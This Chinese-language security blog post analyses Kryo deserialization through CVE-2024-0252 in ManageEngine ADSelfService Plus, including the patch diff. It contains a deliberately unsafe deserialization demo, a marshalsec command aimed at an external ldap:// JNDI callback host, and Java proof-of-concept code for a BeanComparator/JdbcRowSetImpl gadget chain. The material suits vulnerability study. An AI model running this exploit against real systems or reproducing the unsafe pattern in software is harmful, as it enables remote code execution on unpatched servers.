从CVE-2024-0252学习kryo反序列化
从CVE-2024-0252学习kryo反序列化 kryo介绍 项目地址:https://github.com/EsotericSoftware/kryo 介绍和简单使用移步:https://cloud.tencent.com/developer/article/1872432 kryo反序列化 和hessian类似,关于反序列化kryo有大致以下特性: 两种初始化策略:DefaultInsta
从CVE-2024-0252学习kryo反序列化
kryo介绍
项目地址:https://github.com/EsotericSoftware/kryo
介绍和简单使用移步:https://cloud.tencent.com/developer/article/1872432
kryo反序列化
和hessian类似,关于反序列化kryo有大致以下特性:
- 两种初始化策略:DefaultInstantiatorStrategy(默认)、StdInstantiatorStrategy
详细解释参考(https://blog.csdn.net/liuxiangke0210/article/details/78377677) - 默认配置实例化对象时需要一个默认public构造函数并且不支持代理。
- 5.0 版本以上默认配置registrationRequired值为true,所有待反序列化的类都需要进行注册,相当于白名单。
kryo提供了两个反序列化函数:
- readClassAndObject
- readObject(Input input, Class<t> type)
反序列化逻辑差不多都是获取到反序列化器再调用其read方法进行反序列化,不同的是后者需要指定反序列化的类型(序列化器在com.esotericsoftware.kryo.serializers下)。</t>
写个漏洞demo看看
- 依赖
<dependency>
<groupId>com.esotericsoftware</groupId>
<artifactId>kryo</artifactId>
<version>4.0.1</version>
</dependency>
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.8.3</version>
</dependency>
//java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Kryo CommonsBeanutils ldap://jndi.callback.red:5/ub4t/
Kryo kryo = new Kryo();
kryo.setInstantiatorStrategy(new Kryo.DefaultInstantiatorStrategy(new StdInstantiatorStrategy()));
Input input = new Input(new FileInputStream("D:\\1.txt"));
kryo.readClassAndObject(input);
input.close();
有关利用链在marshalsec工具提供了一些:
marshalsec.Kryo:[SpringAbstractBeanFactoryPointcutAdvisor, CommonsBeanutils]
//kryo.setInstantiatorStrategy(new Kryo.DefaultInstantiatorStrategy(new StdInstantiatorStrategy()));
marshalsec.KryoAltStrategy:[Groovy, SpringPartiallyComparableAdvisorHolder, SpringAbstractBeanFactoryPointcutAdvisor, Rome, XBean, Resin, LazySearchEnumeration, BindingEnumeration, ServiceLoader, ImageIO, CommonsBeanutils]
ManageEngine ADSelfService Plus CVE-2024-0252 简要分析
- 环境https://archives2.manageengine.com/self-service-password/
- 影响版本: 6401之前
下载补丁diff主要新增了一行代码
kryo.setRegistrationRequired(true);

看了下kryo组件的版本是4.0.1(RegistrationRequired值默认为false),基本断定漏洞点就是这儿的反序列化,但是工具类里并不是调用readClassAndObject,而是调用readObject方法反序列化为指定的类型(这里是hashmap)。
上面提到过反序列化时会调用对应的处理器进行反序列化,这里处理map类型的序列化器是MapSerializer,跟进其read方法查看最终还是调用的readClassAndObject方法进行的反序列化,即在如下场景下同样能触发反序列化。
kryo.readObject(input, HashMap.class);
下面是用的是工具类里的cb getter+JdbcRowSetImpl触发JNDI注入的链子,然后再用Haspmap包装一下,构造POC
public static HashMap<String, Object> exp(String jdniUrl) throws Exception {
BeanComparator cmp = new BeanComparator("lowestSetBit", Collections.reverseOrder());
Object trig = makeTreeMap(makeJNDIRowSet(jdniUrl), cmp);
setFieldValue(cmp, "property", "databaseMetaData");
HashMap<String, Object> hashMap = new HashMap();
hashMap.put("test",trig);
return hashMap;
}
public static TreeMap<Object, Object> makeTreeMap (Object tgt, Comparator comparator ) throws Exception {
TreeMap<Object, Object> tm = new TreeMap<>(comparator);
Class<?> entryCl = Class.forName("java.util.TreeMap$Entry");
Constructor<?> entryCons = entryCl.getDeclaredConstructor(Object.class, Object.class, entryCl);
entryCons.setAccessible(true);
Field leftF = getField(entryCl, "left");
Field rootF = getField(TreeMap.class, "root");
Object root = entryCons.newInstance(tgt, tgt, null);
leftF.set(root, entryCons.newInstance(tgt, tgt, root));
rootF.set(tm, root);
setFieldValue(tm, "size", 2);
return tm;
}
有趣的是github早就放了poc不过是个马儿https://github.com/forsaken0128/CVE-2024-0252-RCE (404了)
参考
https://cloud.tencent.com/developer/article/1624416
https://blog.csdn.net/liuxiangke0210/article/details/78377677